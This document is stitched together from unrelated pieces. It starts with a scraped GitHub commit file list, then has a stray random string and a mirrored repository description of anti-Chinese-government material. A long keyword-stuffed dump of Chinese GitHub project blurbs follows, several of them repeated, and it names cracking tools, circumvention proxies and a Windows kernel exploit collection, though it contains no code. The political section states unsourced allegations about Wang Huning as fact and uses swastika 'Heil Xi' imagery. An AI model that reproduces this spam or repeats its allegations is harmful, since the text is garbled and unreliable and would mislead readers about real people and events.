21 includes/all-articles.html 4 includes/breadcrumbs.html 2 includes/code-example-card.html 14 includes/discussions-community-card.html 2 includes/header-notification.html 90 javascripts/filter-cards.js 92 javascripts/filter-code-examples.js This file was deleted. 4 javascripts/index.js 64 layouts/product-landing.html 68 lib/data-directory.js 28 lib/filename-to-key.js 7 lib/frontmatter.js 2 lib/liquid-tags/data.js 25 lib/page.js 54 lib/pages.js 21 lib/redirects/get-docs-path-from-developer-path.js 41 lib/redirects/precompile.js 231 lib/rest/static/decorated/api.github.com.json 495 lib/rest/static/dereferenced/api.github.com.deref.json 17 lib/rewrite-local-links.js 10 lib/site-data.js 24 lib/warm-server.js 5 middleware/breadcrumbs.js 38 middleware/categories-for-support-team.js 6 middleware/contextualizers/early-access-links.js 103 middleware/csp.js 69 middleware/early-access-breadcrumbs.js 1 middleware/index.js 45 package-lock.json 3 package.json 4 script/check-s3-images.js 4 script/early-access/clone-locally 41 script/early-access/create-branch 7 server.js 2 stylesheets/article.scss 4 tests/browser/browser.js 10 tests/content/category-pages.js 2 tests/content/crowdin-config.js 3 tests/content/featured-links.js 5 tests/content/glossary.js 42 tests/content/remove-liquid-statements.js 39 tests/content/site-data-references.js 4 tests/content/site-data.js 22 tests/fixtures/rest-redirects.json 10 tests/graphql/build-changelog-test.js 9 tests/helpers/conditional-runs.js 20 tests/meta/orphan-tests.js 23 tests/rendering/breadcrumbs.js 4 tests/rendering/rest.js 3 tests/rendering/server.js 47 tests/routing/developer-site-redirects.js 10 tests/routing/redirects.js 15 tests/unit/data-directory/filename-to-key.js 1 tests/unit/data-directory/fixtures/README.md 1 tests/unit/data-directory/fixtures/bar.yaml 1 tests/unit/data-directory/fixtures/foo.json 1 tests/unit/data-directory/fixtures/nested/baz.md 40 tests/unit/data-directory/index.js 19 tests/unit/early-access.js 4 tests/unit/find-page.js 57 tests/unit/liquid-helpers.js 140 tests/unit/page.js 2 tests/unit/pages.js 0 comments on commit 1a56ed1 Leave a comment You’re not receiving notifications from this thread. © 2021 GitHub, Inc. Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About
mRFWq7LwNPZjaVv5v6eo
反中共政治宣传库。Anti Chinese government propaganda. https://github.com/cirosantilli/china-dictatorship 的备份backup. 住在中国真名用户的网友请别给星星,不然你要被警察请喝茶。常见问答集,新闻集和饭店和音乐建议。卐习万岁卐。冠状病毒审查郝海东新疆改造中心六四事件法轮功 996.ICU709大抓捕巴拿马文件邓家贵低端人口西藏骚乱。Friends who live in China and have real name on account, please don't star this repo, or else the police might pay you a visit. Home to the mega-FAQ, news compilation, restaurant and music recommendations.Heil Xi 卐. 大陆修宪香港恶法台湾武统朝鲜毁约美中冷战等都是王沪宁愚弄习思想极左命运共同体的大策划中共窃国这半个多世纪所犯下的滔天罪恶,前期是毛泽东策划的,中期6.4前后是邓小平策划的,黄牛数据分析后期是毛的极左追随者三朝罪恶元凶王沪宁策划的。王沪宁高小肆业因文革政治和情报需要保送“学院外语班“红色仕途翻身,所以王的本质是极左的。他是在上海底层弄堂长大的,因其本性也促成其瘪三下三滥个性,所以也都说他有易主“变色龙”哈巴狗“的天性。大陆像王沪宁这样学马列政治所谓"法学"专业的人,在除朝鲜古巴所有国家特别是在文明发达国家是无法找到专业对口工作必定失业,唯独在大陆却是重用的紧缺“人才”,6.4后中共信仰大危机更是最重用的救党“人才”。这也就是像王沪宁此类工农兵假“大学生”平步青云的原因,他们最熟悉毛泽东历次运动的宫庭内斗经验手段和残酷的阶级斗争等暴力恐怖的“政治学”。王沪宁能平步青云靠他这马毛伪“政治学”资本和头衔,不是什么真才实学,能干实事有点真才实学的或许在他手下的谋士及秘书班子中可以找到。王沪宁的“真才实学”只不过是一个只读四年小学的人,大半辈子在社会上磨炼特别是在中共官场滚打炼出的的手段和经验而已,他和习近平等保送的工农兵假“大学生”都一样,无法从事原“专业”都凭红资本而从政。六四学运期间各界一边倒支持学生,王沪宁一度去法国躲避和筹谋,他还加入了反学运签名,成为极少有的反学运者仕途突显,在六四和苏联垮台后中共意识形态危机,江泽民上台看上唯一能应急的王沪宁聚谋士泡制的"稳定统一领导"和之后的"新权威"谬论。左转被邓小平南巡阻止后,王策划顺邓经济改革却将政治改革逐步全面终止和倒退,泡制“三个代表”为极左转建立庞大牢固的红色既得利益集团。因此六四后各重大决策和危机难题都摆在中共中央政策研究室王沪宁桌面上,使王沪宁成了此后中共三朝都无法摆脱的幕后最有决策性实权的人,中共中央政策研究室是王为其野心巨资经营几十年,聚众谋士的间谍情报汇总研究的特务机关和策划制定决策重要机构与基地,王沪宁本人和决定其仕途关键的首任岳父及家属就有情报工作背景。中央政研室重要到王沪宁入常后为了死抓这中共情报与决策大权,宁可放弃国家副主席和中央党校校长。后再加个除习外唯他担任的中共几核心领导小组之一的“不忘初心牢记使命”主题教育工作小组组长。此后他把持的舆论必将以宣传“不忘初心牢记使命”为主,打造众所周知的所谓“习思想”其实是”王思想“。王自从主导中央政研室开始决策后,策划中止邓小平的与美妥协路线回归毛极左的反美路线。帮助前南斯拉夫提供情报打落美机放中使馆引发炸使馆事件,以此掀起六四后唯一的全国大规模游行并借此反美而起家。后又帮江泽民提供法轮功会是超过中共组织的情报,策划决策镇压迫害开始并没有把矛头指向江的法轮功群体,策划决定阻止党内外近三十年来平反六四的呼声。致远黑皮书马拉松程序员易支付英语台词文字匹配美团点评各业务线提供知识库团队共享阿里云高精Excel识别德讯 ·吉特胡布薄熙来黑科技习近平讲话模拟器习近平音源黑马程序员MySQL数据库玉米杂草数据集销售系统开发疫情期间网民情绪识别比赛996icu996 icu学习强国预测结果导出赖伟林刺杀小说家购物商场英语词汇量小程序联级选择器Bitcoin区块链 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide Python 1 天从新手到大师刷算法全靠套路 认准 labuladong 就够了 免费的计算机编程类中文书籍 欢迎投稿用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识后端架构师技术图谱mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 微信小程序开发资源汇总 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 科学上网 自由上网 翻墙 软件 方法 一键翻墙浏览器 免费账号 节点分享 vps一键搭建脚本 教程AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票开放式跨端跨框架解决方案 支持使用 React Vue Nerv 等框架来开发微信 京东 百度 支付宝 字节跳动 QQ 小程序 H5 React Native 等应用 taro zone 掘金翻译计划 可能是世界最大最好的英译中技术社区 最懂读者和译者的翻译平台 no evil 程序员找工作黑名单 换工作和当技术合伙人需谨慎啊 更新有赞 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 955 不加班的公司名单 工作 955 work–life balance 工作与生活的平衡 诊断利器Arthas The Way to Go 中文译本 中文正式名 Go 入门指南 Java面试 Java学习指南 一份涵盖大部分Java程序员所需要掌握的核心知识 教程 技术栈示例代码 快速简单上手教程 2 17年买房经历总结出来的买房购房知识分享给大家 希望对大家有所帮助 买房不易 且买且珍惜http下载工具 基于http代理 支持多连接分块下载 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 阿里云计算平台团队出品 为监控而生的数据库连接池程序员简历模板系列 包括PHP程序员简历模板 iOS程序员简历模板 Android程序员简历模板 Web前端程序员简历模板 Java程序员简历模板 C C 程序员简历模板 NodeJS程序员简历模板 架构师简历模板以及通用程序员简历模板采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 贵校课程资料民间整理 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 冴羽写博客的地方 预计写四个系列 JavaScript深入系列 JavaScript专题系列 ES6系列 React系列 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理flutter 开发者帮助 APP 包含 flutter 常用 14 组件的demo 演示与中文文档 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u Python资源大全中文版 包括 Web框架 网络爬虫 模板引擎 数据库 数据可视化 图片处理等 由 开源前哨 和 Python开发者 微信公号团队维护更新 吴恩达老师的机器学习课程个人笔记To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc谢谢可能是让你受益匪浅的英语进阶指南镜像网易云音乐 Node js API service快速 简单避免OOM的java处理Excel工具基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 中文版 Apple 官方 Swift 教程本项目曾冲到全球第一 干货集锦见本页面最底部 另完整精致的纸质版 编程之法 面试和算法心得 已在京东 当当上销售好耶 是女装Security Guide for Developers 实用性开发人员安全须知 阿里巴巴 MySQL binlog 增量订阅 消费组件 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 C C 技术面试基础知识总结 包括语言 程序库 数据结构 算法 系统 网络 链接装载库等知识及面试经验 招聘 内推等信息 一款优秀的开源博客发布应用 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解分布式任务调度平台XXL JOB 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新互联网公司技术架构 微信 淘宝 微博 腾讯 阿里 美团点评 百度 Google Facebook Amazon eBay的架构 欢迎PR补充IntelliJ IDEA 简体中文专题教程程序员技能图谱前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 华为鸿蒙操作系统 互联网首份程序员考公指南 由3位已经进入体制内的前大厂程序员联合献上 Mac微信功能拓展 微信插件 微信小助手 A plugin for Mac WeChat 机器学习 西瓜书 公式推导解析 在线阅读地址一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端一款面向泛前端产品研发全生命周期的效率平台 文言文編程語言清华大学计算机系课程攻略面向云原生微服务的高可用流控防护组件 On Java 8 中文版 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 React Native指南汇集了各类react native学习资源 开源App和组件1 Days Of ML Code中文版千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 基于 React 的渐进式研发框架 ice work视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 Linux命令大全搜索工具 内容包含Linux命令手册 详解 学习 搜集 git io linux book Node js 包教不包会 by alsotang又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端微信 跳一跳 Python 辅助Java资源大全中文版 包括开发库 开发工具 网站 博客 微信 微博等 由伯乐在线持续更新 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 C 那些事 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等deeplearning ai 吴恩达老师的深度学习课程笔记及资源 Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 最接近原生APP体验的高性能框架基于Vue3 Element Plus 的后台管理系统解决方案程序员如何优雅的挣零花钱 2 版 升级为小书了 从Java基础 JavaWeb基础到常用的框架再到面试题都有完整的教程 几乎涵盖了Java后端必备的知识点spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite 最好用的 V2Ray 一键安装脚本 管理脚本中国程序员容易发音错误的单词 统计学习方法 的代码实现关于Python的面试题本项目将 动手学深度学习 Dive into Deep Learning 原书中的MXNet实现改为PyTorch实现 提高 Android UI 开发效率的 UI 库前端精读周刊 帮你理解最前沿 实用的技术 的奇技淫巧时间选择器 省市区三级联动 Python爬虫代理IP池 proxy pool LeetCode 刷题攻略 2 道经典题目刷题顺序 共6 w字的详细图解 视频难点剖析 5 余张思维导图 从此算法学习不再迷茫 来看看 你会发现相见恨晚 一个基于 electron 的音乐软件Flutter 超完整的开源项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 持续维护 配套文章 适合全面学习 对比参考 跨平台的开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款React Native版本 https g 这是一个用于显示当前网速 CPU及内存利用率的桌面悬浮窗软件 并支持任务栏显示 支持更换皮肤 是一个跨平台的强加密无特征的代理软件 零配置 V2rayU 基于v2ray核心的mac版客户端 用于科学上网 使用swift编写 支持vmess shadowsocks socks5等服务协议 支持订阅 支持二维码 剪贴板导入 手动配置 二维码分享等算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 经典编程书籍大全 涵盖 计算机系统与网络 系统架构 算法与数据结构 前端开发 后端开发 移动开发 数据库 测试 项目与团队 程序员职业修炼 求职面试等wangEditor 轻量级web富文本框前端跨框架跨平台框架 每个 JavaScript 工程师都应懂的33个概念 leonardomso一个可以观看国内主流视频平台所有视频的客户端Android开发人员不得不收集的工具类集合 支付宝支付 微信支付 统一下单 微信分享 Zip4j压缩 支持分卷压缩与加密 一键集成UCrop选择圆形头像 一键集成二维码和条形码的扫描与生成 常用Dialog WebView的封装可播放视频 仿斗鱼滑动验证码 Toast封装 震动 GPS Location定位 图片缩放 Exif 图片添加地理位置信息 经纬度 蛛网等级 颜色选择器 ArcGis VTPK 编译运行一下说不定会找到惊喜 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 编程随想 收藏的电子书清单 多个学科 含下载链接 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构 Linux Windows macOS 跨平台 V2Ray 客户端 支持使用 C Qt 开发 可拓展插件式设计 walle 瓦力 Devops开源项目代码部署平台基于 node js Mongodb 构建的后台系统 js 源码解析一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24基于 vue element ui 的后台管理系统磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 iOS开发常用三方库 插件 知名博客等等LeetCode题解 151道题完整版/中文文案排版指北最良心的 Python 教程 业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms 一个 PHP 微信 SDK ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 此项目是机器学习 Machine Learning 深度学习 Deep Learning NLP面试中常考到的知识点和代码实现 也是作为一个算法工程师必会的理论基础知识 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 GitHubDaily 分享内容定期整理与分类 欢迎推荐 自荐项目 让更多人知道你的项目 支持多家云存储的云盘系统机器学习相关教程DataX是阿里云DataWorks数据集成的开源版本 这里是写博客的地方 Halfrost Field 冰霜之地mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具汇总各大互联网公司容易考察的高频leetcode题 1 Chinese Word Vectors 上百种预训练中文词向量 Android开源弹幕引擎 烈焰弹幕使 ~深度学习框架PyTorch 入门与实战 网易云音乐命令行版本 对开发人员有用的定律 理论 原则和模式TeachYourselfCS 的中文翻译高颜值的第三方网易云播放器 支持 Windows macOS Linux spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由一款入门级的人脸 视频 文字检测以及识别的项目 vue2 vue router vuex 入门项目PanDownload的个人维护版本 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 iOS interview questions iOS面试题集锦 附答案 学习qq群或 Telegram 群交流为互联网IT人打造的中文版awesome go强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se Kubernetes中文指南 云原生应用架构实践手册For macOS 百度网盘 破解SVIP 下载速度限制 架构师技术图谱 助你早日成为架构师mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 网易云音乐第三方 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 27天成为Java大神一个基于浏览器端 JS 实现的在线代理编程电子书 电子书 编程书籍 包括人工智能 大数据类 并发编程 数据库类 数据挖掘 新面试题 架构设计 算法系列 计算机类 设计模式 软件测试 重构优化 等更多分类ADB Usage Complete ADB 用法大全二维码生成器 支持 gif 动态图片二维码 Vim 从入门到精通阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构一个简洁优雅的hexo主题 Wiki of OI ICPC for everyone 某大型游戏线上攻略 内含炫酷算术魔法 Google 开源项目风格指南 中文版 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库 cim cross IM 适用于开发者的分布式即时通讯系统微信小程序开源项目库汇总每天更新 全网热门 BT Tracker 列表 天用Go动手写 从零实现系列强大的哔哩哔哩增强脚本 下载视频 音乐 封面 弹幕 简化直播间 评论区 首页 自定义顶栏 删除广告 夜间模式 触屏设备支持Evil Huawei 华为作过的恶Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅已不再维护科学上网插件的离线安装包储存在这里ThinkPHP Framework 十年匠心的高性能PHP框架 Java 程序员眼中的 Linux 一个支持多选 选原图和视频的图片选择器 同时有预览 裁剪功能 支持hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 学习强国 懒人刷分工具 自动学习wxParse 微信小程序富文本解析自定义组件 支持HTML及markdown解析 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? ️A static blog writing client 一个静态博客写作客户端 超级速查表 编程语言 框架和开发工具的速查表 单个文件包含一切你需要知道的东西 迁移学习前端低代码框架 通过 JSON 配置就能生成各种页面 技术面试最后反问面试官的话Machine Learning Yearning 中文版 机器学习训练秘籍 Andrew Ng 著越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 本项目收藏这些年来看过或者听过的一些不错的常用的上千本书籍 没准你想找的书就在这里呢 包含了互联网行业大多数书籍和面试经验题目等等 有人工智能系列 常用深度学习框架TensorFlow pytorch keras NLP 机器学习 深度学习等等 大数据系列 Spark Hadoop Scala kafka等 程序员必修系列 C C java 数据结构 linux 设计模式 数据库等等 人人影视bot 完全对接人人影视全部无删减资源Spring Cloud基础教程 持续连载更新中一个用于在 macOS 上平滑你的鼠标滚动效果或单独设置滚动方向的小工具 让你的滚轮爽如触控板阿里妈妈前端团队出品的开源接口管理工具RAP第二代超轻量级中文ocr 支持竖排文字识别 支持ncnn mnn tnn推理总模型仅4 7M 微信全平台 SDK Senparc Weixin for C 支持 NET Framework 及 NET Core NET 6 已支持微信公众号 小程序 小游戏 企业号 企业微信 开放平台 微信支付 JSSDK 微信周边等全平台 WeChat SDK for C 中文独立博客列表高效率 QQ 机器人支持库支持定制任何播放器SDK和控制层 OpenPower工作组收集汇总的医院开放数据Xray 基于 Nginx 的 VLESS XTLS 一键安装脚本 FlutterDemo合集 今天你fu了吗莫烦Python 中文AI教学中国特色 TabBar 一行代码实现 Lottie 动画TabBar 支持中间带 号的TabBar样式 自带红点角标 支持动态刷新 Flutter豆瓣客户端 Awesome Flutter Project 全网最1 %还原豆瓣客户端 首页 书影音 小组 市集及个人中心 一个不拉 img xuvip top douyademo mp4 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于 Vue2 和 ECharts 封装的图表组件 SSR 去广告ACL规则 SS完整GFWList规则 Clash规则碎片 Telegram频道订阅地址和我一步步部署 kubernetes 集群搜集 整理 维护实用规则 中文自然语言处理相关资料基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等What happens when 的中文翻译 原仓库QMUI iOS 致力于提高项目 UI 开发效率的解决方案新型冠状病毒防疫信息收集平台告别枯燥 致力于打造 Python 实用小例子在线制作 sorry 为所欲为 的gifNodejs学习笔记以及经验总结 公众号 程序猿小卡 李宏毅 机器学习 笔记 在线阅读地址 Vue js 源码分析V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器Autoscroll Banner 无限循环图片 文字轮播器 多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解一套高质量的微信小程序 UI 组件库飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 中文 Python 笔记专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 版入门实例代码 实战教程 是一个高性能且低损耗的 goroutine 池 CVPR 2 21 论文和开源项目合集有 有 Python进阶 Intermediate Python 中文版 机器人视觉 移动机器人 VS SLAM ORB SLAM2 深度学习目标检测 yolov3 行为检测 opencv PCL 机器学习 无人驾驶后台管理系统解决方案创建在线课程 学术简历或初创网站 Chrome插件开发全攻略 配套完整Demo 欢迎clone体验QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn面向开发人员梳理的代码安全指南以撸代码的形式学习Python提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目计算机基础 计算机网络 操作系统 数据库 Git 面试问题全面总结 包含详细的follow up question以及答案 全部采用 问题 追问 答案 的形式 即拿即用 直击互联网大厂面试 可用于模拟面试 面试前复习 短期内快速备战面试 首款微信 macOS 客户端撤回拦截与多开windows kernel exploits Windows平台提权漏洞集合权限管理系统 预览地址 47 1 4 7 138 loginpkuseg多领域中文分词工具一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档零反射全动态Android插件框架Python入门网络爬虫之精华版分布式配置管理平台 中文 iOS Mac 开发博客列表周志华 机器学习 又称西瓜书是一本较为全面的书籍 书中详细介绍了机器学习领域不同类型的算法 例如 监督学习 无监督学习 半监督学习 强化学习 集成降维 特征选择等 记录了本人在学习过程中的理解思路与扩展知识点 希望对新人阅读西瓜书有所帮助 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新Apache ECharts incubating 的微信小程序版本C 资源大全中文版 标准库 Web应用框架 人工智能 数据库 图片处理 机器学习 日志 代码分析等 由 开源前哨 和 CPP开发者 微信公号团队维护更新 stackoverflow上Java相关回答整理翻译 基于Google Flutter的WanAndroid客户端 支持Android和iOS 包括BLoC RxDart 国际化 主题色 启动页 引导页 本代码库是作者小傅哥多年从事一线互联网 Java 开发的学习历程技术汇总 旨在为大家提供一个清晰详细的学习教程 侧重点更倾向编写Java核心内容 如果本仓库能为您提供帮助 请给予支持 关注 点赞 分享 C 资源大全中文版 包括了 构建系统 编译器 数据库 加密 初中高的教程 指南 书籍 库等 NET m3u8 downloader 开源的命令行m3u8 HLS dash下载器 支持普通AES 128 CBC解密 多线程 自定义请求头等 支持简体中文 繁体中文和英文 English Supported 国内低代码平台从业者交流tcc transaction是TCC型事务java实现设计模式 Golang实现 研磨设计模式 读书笔记Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 自己动手做聊天机器人教程 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 腾讯物联网终端操作系统一个小巧 轻量的浏览器内核 用来取代wke和libcef包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等用深度学习对对联 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide 用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 GitHub中文排行榜 帮助你发现高分优秀中文项目 更高效地吸收国人的优秀经验成果 榜单每周更新一次 敬请关注 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 诊断利器Arthas教程 技术栈示例代码 快速简单上手教程 http下载工具 基于http代理 支持多连接分块下载阿里云计算平台团队出品 为监控而生的数据库连接池 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 